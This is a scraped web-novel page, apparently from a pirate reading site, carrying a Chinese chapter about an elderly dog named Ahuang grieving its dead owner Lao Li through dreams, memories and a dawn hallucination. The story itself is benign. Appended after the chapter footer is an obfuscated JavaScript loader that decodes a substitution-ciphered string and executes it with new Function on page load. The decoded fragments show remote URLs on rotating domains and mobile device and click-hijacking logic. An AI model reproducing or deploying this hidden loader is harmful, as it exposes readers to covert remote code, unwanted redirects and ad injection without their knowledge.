首页
第0578章 旧梦如烟绕膝头
返回

第0578章 旧梦如烟绕膝头 寒夜霜重不知休

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第0578章旧梦如烟绕膝头寒夜霜重不知休(第1/2页)
    ------
    深秋的夜,来得急,也来得沉。
    天擦黑的时候,风就变了向,从护城河那边卷过来,带着水汽和烂泥的腥气,顺着窗缝、门底,一个劲地往屋里钻。阿黄蜷在藤椅下,能听见风刮过屋檐的呜咽,像极了老李走的那天,救护车上那根拉响的、长长的不锈钢管子发出的声音——冰冷,尖锐,把它的心划得一道一道的。
    它把身体缩得更紧了些。后腿的关节处传来熟悉的酸痛,那是年轻时在泥地里打滚、追野兔留下的旧伤,也是老了以后,阴雨天里最先知道疼的地方。它换了个姿势,把鼻子更深地埋进前爪,那里还残留着一点白天它反复嗅闻藤椅后沾上的、微弱的烟草味。这味道,是它对抗这漫漫长夜唯一的药。
    屋里没有点灯。老李走后,就没人点灯了。电灯拉绳垂在门边,像一条僵死的蛇。阿黄怕黑,但更怕亮。亮起来,屋里空荡荡的,藤椅空着,床空着,碗柜里老李的搪瓷缸子也空着,那种空,会像冰水一样,从眼睛里灌进心里,冻得它发抖。黑暗里,反而能骗骗自己,仿佛只要不看清,老李就还在那把椅子上坐着,只是睡着了。
    它迷迷糊糊地睡着了。
    梦,像被风吹散的柳絮,一片一片,无端地飘起来。
    最先飘来的,是热粥的香气。不是张婶送来的那种清汤寡水的白米粥,而是老李熬的粥。大铁锅里,水滚着,米花开着,老李会用那把豁了口的葫芦瓢,把沉在锅底最稠、最黏的那部分,连着几颗开花的黄豆,舀进它那个豁了边的土碗里。粥烫,它伸着舌头哈气,老李就坐在旁边的矮凳上,一边咳嗽,一边用那双布满老茧的手,轻轻扇着风,哑着嗓子笑:“馋鬼,慢点吃,没人跟你抢。”
    梦里的粥,冒着腾腾的热气,模糊了老李的脸。阿黄能闻到他身上那股熟悉的、混合着汗味、铁锈味和淡淡烟草味的味道。它凑过去,用脑袋蹭他的膝盖。老李的裤子是那种厚实的劳动布,磨得发毛,蹭在脸上,糙糙的,却无比踏实。老李的手会落下来,不轻不重地揉它的耳朵,指尖带着茧子,刮得它耳朵根发痒,舒服得它忍不住哼哼。
    “阿黄啊……”梦里的老李叹了口气,声音像从很远的地方飘来,“我这一身病,怕是熬不过这个冬了。你呢?你以后……可怎么好……”
    阿黄听不懂。它只觉得老李的手比平时凉,揉它耳朵的力气也小了。它着急地用鼻子去顶他的手心,想把他顶暖和些。老李的手缩了缩,没躲开,反而用指关节轻轻敲了敲它的脑门,像以前无数次那样,带着点无奈,又带着点宠溺:“傻东西……”
    梦境忽地一转,变成了夏夜的院子。月亮很亮,像一块磨得温润的玉,挂在老槐树梢上。老李坐在藤椅上,摇着那把大蒲扇。蒲扇的风不凉,却带着他身上那股安心的味道,一下,一下,慢悠悠地扇走白天的燥热和蚊蝇。阿黄趴在他脚边,肚皮贴着被太阳晒了一整天、还残留着暖意的青石板。它听着老李平稳的呼吸,偶尔夹杂一两声压抑的咳嗽,像夏夜背景里最让人心安的鼓点。
    “阿黄,”老李忽然开口,声音在寂静的夜里格外清晰,“你看那月亮,跟我家那口子绣的鞋底上的花样,有点像哩。”他抬起手指了指月亮,又指了指屋里桌上那张镶在玻璃框里的照片。照片里的女人,梳着麻花辫,笑得温婉。
    阿黄顺着他的手指看去,月亮很圆,很亮。它不懂鞋底花样,但它知道,老李看着照片的时候,眼神总是变得很软,很飘,像要顺着月光飞到天上去。它不喜欢老李那种眼神,那让它觉得不安,觉得老李好像要离开它了。于是它站起来,用湿漉漉的鼻子去拱老李垂在藤椅扶手上的手。老李的手顿了顿,蒲扇停下,落在它头上,轻轻揉了揉:“嗯,有阿黄在,不怕……有阿黄陪着……”
    蒲扇又摇起来,风里带着老李身上淡淡的汗味和烟草味。阿黄重新趴下,把下巴搁在爪子上,眼睛半眯着。它觉得,只要老李的手还在它头上,只要那股味道还在,天就不会塌,月亮就会一直亮着。
    梦境变得温暖而黏稠,像粥,像夏夜的风。它好像又回到了更小的时候,刚被老李从垃圾桶边捡回来的时候。那时候它瘦得皮包骨头,浑身脏兮兮,瑟瑟发抖。老李用那双粗糙的大手把它捧起来,叹了口气,说:“造孽啊……跟我回家吧。”他的手掌很暖,带着炉火和铁屑的味道,把它冻僵的身体一点点捂热。从那天起,它就有了家,有了名字,有了“阿黄”这个称呼。老李的声音,就是它世界的中心。
    梦里的温暖越来越真实,它甚至能感觉到藤椅那熟悉的、轻微的吱呀声,能感觉到老李的脚偶尔蹭到它的肚皮。它满足地哼哼着,喉咙里发出咕噜声,仿佛只要这样,时间就会停下来,老李就不会走,它就可以永远这样趴着,守着他,闻着他身上的味道。
    然而,梦境的温暖像肥皂泡,被一声突兀的、尖锐的声音轻易戳破了。
    “呜——呜——”
    不是风声,也不是老李的咳嗽声。是救护车的鸣笛!那声音像冰冷的锥子,猛地扎进它的耳膜,扎进它的心脏!它浑身一僵,从昏沉的睡梦里惊醒过来。
    屋里一片漆黑,只有窗外透进一点惨淡的月光。藤椅空荡荡的,冷冰冰的。没有老李,没有热粥,没有蒲扇的风。只有它自己,蜷在藤椅下,身体因为突如其来的惊悸而微微颤抖。
    那鸣笛声消失了,也许是远处的,也许是梦里的。但那恐惧,却像活过来一样,瞬间攫住了它。它记得那天,就是这样的声音,由远及近,刺破了清晨的宁静。然后是人声,慌乱的脚步声,门被敲开,老李被搀扶出来,他咳嗽得很厉害,弯着腰,一只手死死捂着胸口,另一只手还在下意识地伸向它,嘴唇翕动着,好像在喊它的名字。它被张婶死死抱住,只能眼睁睁看着老李被抬上那辆闪着蓝红灯的车子,那声音越来越远,远得像要带到天边去……
    阿黄猛地站起来,撞得藤椅“吱呀”一声巨响。它不顾腿上的酸痛,跌跌撞撞地冲到门边,用鼻子疯狂地拱着门缝,发出焦急的、压抑的呜咽。它想出去,想追,想再看看老李,想再闻闻他身上的味道。但门被张婶临走时从外面挂上了铁链,它拱不动,撞不开。它只能用爪子绝望地抓挠着木板门,发出“刺啦刺啦”的声响,在寂静的夜里格外刺耳。
    抓挠了许久,爪子生疼,门却纹丝不动。它累了,绝望了,慢慢滑坐在地上,把脑袋抵在冰冷的门板上。耳朵竖着,捕捉着外面任何一丝细微的声响。风还在呜咽,护城河的轮船又拉了一声汽笛,沉闷,悠长。没有脚步声,没有钥匙声,没有老李带着铁锈和烟草味的气息。
    它转过身,拖着沉重的步子,慢慢挪回藤椅下。刚才的梦境越是温暖,此刻的现实就越是冰冷刺骨。它重新蜷缩起来,把鼻子埋进前爪,试图从那微弱的、残留的烟草味里,汲取一点点虚假的安慰。但那味道,似乎又被刚才的惊悸和绝望冲淡了。
    它开始想念老李的咳嗽声。真的,它想念。哪怕那声音带着痛苦,带着压抑,但那是活着的证明,是老李还在它身边的证明。现在,周围太安静了,安静得让它心慌,让它觉得整个世界都抛弃了它。只有它自己,和这把冰冷的、空荡荡的藤椅。
    它把头抬起,在黑暗中,用那双在夜里会反光的眼睛,望着藤椅的坐垫。那里,曾经有老李身体的余温,现在只剩下冰凉的藤条。它记得,老李最后一次坐在藤椅上,是下午。阳光很好,照在他灰白的头发和干瘦的脸上。他没抽烟,只是坐着,看着窗外的老槐树,看了很久。然后,他费力地低下头,看着趴在他脚边的阿黄,看了很久很久。他的眼睛里,有它看不懂的复杂情绪,像水波一样晃动。最后,他伸出手,不是揉它的耳朵,而是用指尖,很轻很轻地碰了碰它的鼻尖,哑着嗓子,说了三个字。
    那三个字,声音很轻,轻得像叹息,却被阿黄牢牢记住了。因为老李说那三个字的时候,手指在微微颤抖,眼睛里有什么东西,在阳光下,亮晶晶地闪了一下。
    他说:“阿黄……对不起……”
    对不起?阿黄不懂。它只觉得鼻子一酸,用脑袋使劲蹭他的手心,想告诉他,它不怪他,它只要他好好的,只要他还在,它什么都不怕。可老李只是更用力地摸了摸它的头,然后就闭上了眼睛,胸膛剧烈地起伏,发出沉闷的、像破风箱一样的咳嗽声。
    现在,藤椅空了,那句“对不起”却像烙印一样,刻在阿黄的脑子里。它不懂为什么对不起,但它觉得,那一定是老李最想对它说的话。也许,是因为他要先走了,留它一个人?也许,是因为他知道自己再也不能给它热粥,不能再陪它看柳絮,不能再揉它的耳朵了?
    阿黄发出一声极轻、极低的呜咽,像受伤的幼兽。它把身体往藤椅的阴影里缩了缩,仿佛这样就能离老李更近一点。它开始回忆老李每一个细微的动作:他点烟时,划火柴的“嚓”声,然后深深吸一口,烟雾从鼻孔里慢慢喷出来;他吃饭时,咀嚼的声音,偶尔被噎住,捶捶胸口;他走路时,拖着一点点的跛脚,那是早年工伤留下的,脚步声沉重而规律;他睡觉时,轻微的鼾声和梦里的呓语……
    (本章未完,请点击下一页继续阅读)第0578章旧梦如烟绕膝头寒夜霜重不知休(第2/2页)
    这些声音,这些动作,这些味道,构成了它全部的世界。现在,世界塌了一半,只剩下气味还在顽强地支撑着。它拼命地嗅着藤椅,嗅着地面,嗅着自己爪子上沾着的、从落叶堆里带来的泥土气息。它要把这些味道,连同那些记忆,一起锁在身体里,锁在灵魂里。它怕,怕有一天,连这些味道也彻底散了,那老李就真的,从它的世界里,消失得干干净净了。
    夜越来越深,寒气像无形的水,从地面漫上来,浸透了它衰老的皮毛。它冷,冷得牙齿都在打颤。它把尾巴紧紧缠住身体,试图留住一点点体温。藤椅的吱呀声似乎更响了,在寂静中,像一声声无奈的叹息。它不知道这椅子还能撑多久,就像不知道自己还能守多久。
    但它知道,只要它还走得动,只要它还能嗅到一丝味道,它就会守在这里。守着这把藤椅,守着这个空荡荡的屋子,守着那些越来越淡、却比生命更重要的记忆。
    它又睡着了,在寒冷和疲惫中,沉入更深的梦境。梦里,或许老李又回来了,坐在藤椅上,吧嗒着烟袋,对它说:“阿黄,冷了吧?过来,靠着我。”
    而现实里,只有秋夜的霜,悄悄凝结在窗玻璃上,像一层细密的泪痕。藤椅下,那只衰老的土狗,在睡梦中,偶尔抽搐一下,仿佛还在追逐,追逐那个永远不会再回来的身影,和那句消散在风里的“对不起”。
    ------
    天快亮的时候,阿黄被一阵轻微的响动惊醒。
    不是风,也不是梦里的鸣笛。是爪子抓挠木头的声音,很轻,很小心,从屋外传来。它猛地竖起耳朵,心脏“咚咚”直跳。是老李?老李回来了?它忘了腿上的僵硬和寒冷,挣扎着想站起来,喉咙里发出急切的、带着期盼的呜咽。
    它挪到门边,把鼻子从门缝里拼命往外挤。一股熟悉的、混合着泥土、草屑和……淡淡的、属于同类却陌生的气味飘了进来。不是老李。绝对不是老李那带着铁锈和烟草的味道。
    “喵……”
    一声极轻的猫叫,贴着门缝响起。
    阿黄愣住了。是隔壁院墙上的那只狸花猫。它常来看着它,隔着窗户,眼神警惕又带着点好奇。阿黄以前会冲它龇牙低吼,把它赶走。可现在……它忽然觉得无所谓了。老李不在,这屋里屋外,都空荡荡的。一只猫,又算得了什么?
    它没再发出声音,只是把鼻子抵在门缝上,感受着外面那一点点、不属于老李的气息。那气息很淡,很冷,带着清晨的霜气。它闻了闻,然后慢慢退开,重新回到藤椅下,趴下。
    狸花猫似乎等了一会儿,没听到屋里的动静,也悄无声息地走了。
    屋里又恢复了死寂。阿黄把头埋进前爪,身体蜷得更紧。它觉得更冷了。刚才那一点点因期盼而燃起的火苗,被现实无情地浇灭,只剩下更深的寒冷和空虚。
    天,终于亮了。灰白的光线透过窗缝,照亮了空气中飞舞的尘埃。藤椅的轮廓清晰起来,上面空空如也。阿黄望着那空椅子,望着椅腿边它昨天和前天、以及今天凌晨又叼回来堆好的、那些枯黄的落叶。落叶堆得更高了,像一座小小的、沉默的坟。
    它忽然觉得,自己就像这落叶。被风从树上吹下来,落在地上,不知道要去哪里,只能守着这棵树,守着这片它熟悉的土地,直到自己也干枯、腐烂,和泥土融为一体。
    而老李,就是那棵树。他倒下了,但它还要守着,守着树根下残留的温度,守着那些关于阳光、雨露和风的记忆。
    它伸出舌头,很轻、很轻地,舔了舔冰冷的水泥地,那里,曾经是老李布鞋踩过的地方。然后,它闭上眼睛,把脸更深地埋进前爪和落叶堆里,仿佛这样,就能把老李的气息,连同自己的生命,一起封存起来。
    藤椅在它重量的压迫下,又发出了一声轻微的、几乎听不见的“吱呀”。
    像一声叹息,又像一句无人听见的应答。
    ------
    天光彻底亮透的时候,阿黄没有起身。
    它听见张婶在院门外试探着叫了几声“阿黄”,脚步在门口徘徊了一阵,最终还是没有进来。或许是怕惊扰了这屋里死一样的寂静,或许是见惯了它的固执。脚步声远去后,世界便只剩下风刮过窗棂的呜咽,和藤椅下尘埃落定的声音。
    阿黄把下巴搁在一片枯叶上,那叶子已经干透了,脉络清晰得像老李手背上的血管。它试着像以前那样,把舌头伸出去,舔舔那片叶子,就像舔老李的手心。可叶子是苦涩的,带着泥土的腥气和腐烂的味道,不像老李的皮肤,总有淡淡的咸汗和烟草的暖香。它失望地缩回舌头,喉咙里发出一声极轻的、像叹息一样的“嗬嗬”声。
    它开始想念老李的咳嗽声,想念那声音里带着的、活着的节奏。哪怕那声音有时咳得撕心裂肺,让它心惊肉跳,可那毕竟是声音,是证明老李还存在于这个世界的声音。现在,这屋里太静了,静得它能听见自己血液在血管里流动的细微声响,静得它能听见身体里某个零件在老化、在生锈的细微脆响。这种寂静,像潮水一样从四面八方涌来,要把它淹没。
    它努力地嗅着,想从藤椅的缝隙里再榨取出一丝烟草的味道。可它闻到的,更多是木头腐朽的酸气,是灰尘的干燥气味,还有它自己身上那股衰老的、淡淡的腥膻。那股熟悉的、让它心安的味道,真的越来越淡了,淡得像晨雾,被风一吹,就散得无影无踪。一种巨大的恐慌攫住了它,它怕自己忘了,怕自己的鼻子再也辨认不出主人的气息。它开始用牙齿轻轻啃咬藤椅的藤条,不是想破坏,而是想咬开这层木头,看看那味道是不是藏在更深处。藤条很硬,磕得它牙齿生疼,它松开嘴,用鼻子抵着那个牙印,用力地、贪婪地呼吸。
    阳光慢慢移动,从藤椅的扶手,移到了它蜷缩的身体上。那点可怜的暖意,根本驱不散深秋的寒意。它感到后腿的关节酸痛得更厉害了,像有针在里面扎。它换了个姿势,把那只酸痛的腿蜷得更紧,然后,它做了一件它最近常做的事——它把鼻子埋进自己颈窝的毛里。那里,还残留着一点点它自己的气味,混合着很久以前,老李拥抱它时留下的、极淡极淡的皂角味和体温。它拼命地闻着,仿佛这样,就能骗过自己,以为老李还抱着它,还用他那件旧棉袄裹着它,挡住了所有的风寒。
    恍惚间,它又听到了声音。不是风声,也不是梦里的鸣笛。是脚步声,很轻,很慢,拖着一点点的跛,是老李的脚步声!那声音从院门口传来,停在门前,然后是钥匙插入锁孔,转动……“咔哒”。门开了。一股熟悉的、混合着铁锈、烟草和清晨凉气的味道,随着那身影,涌了进来。
    阿黄猛地抬起头,耳朵竖得笔直,眼睛在昏暗中亮得惊人。它看见老李站在门口,逆着光,身影有些模糊,但那轮廓,那姿态,它认得一千遍也不会错!它想扑过去,想发出欢快的呜咽,想用尽全身力气去撞他的腿。可它的身体僵住了,动弹不得,只有尾巴尖,难以抑制地、微弱地颤抖起来。
    老李没有看它,也没有说话。他只是慢慢地、一步一步地,走向那把藤椅。藤椅发出熟悉的“吱呀”声,欢迎着它的主人。老李在椅子里坐下,身体陷进那熟悉的凹陷里。他长长地、疲惫地吐出一口气,那口气里,仿佛还带着淡淡的烟雾。然后,他低下头,用那双浑浊却温和的眼睛,看着蜷在椅子下的阿黄。
    他的嘴唇动了动,像是要说什么。阿黄屏住呼吸,等着那声熟悉的“阿黄”。
    可就在这时,一阵穿堂风猛地刮过,吹动了桌上那张照片的玻璃框,发出“咯咯”的轻响。那幻影般的身影,像被风吹散的烟,瞬间模糊、晃动,然后——消失了。
    门口空空如也。
    只有那扇被张婶虚掩的门,在风中轻轻晃动,发出“吱呀——吱呀——”的声响,和藤椅的声音混在一起,像一场无声的对话。
    阿黄僵直的身体慢慢松懈下来。它没动,也没叫。只是把头,重新、更深地埋进了前爪和那堆枯叶里。颈窝里,那点虚假的温暖,也随着幻影的消散,迅速冷却。
    它知道,那是梦,是风,是它太想老李,眼睛和耳朵都骗了自己。
    可它还是忍不住,用鼻子,朝着门口空荡荡的地方,又用力地嗅了嗅。
    那里,除了冰冷的秋风,什么也没有。
    藤椅下,落叶无声。阿黄闭上眼睛,把所有的期盼、失望和孤独,都咽进肚子里,和着那点苦涩的烟草余味,一起,酿成它余生里,最漫长的守候。
    (第0578章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();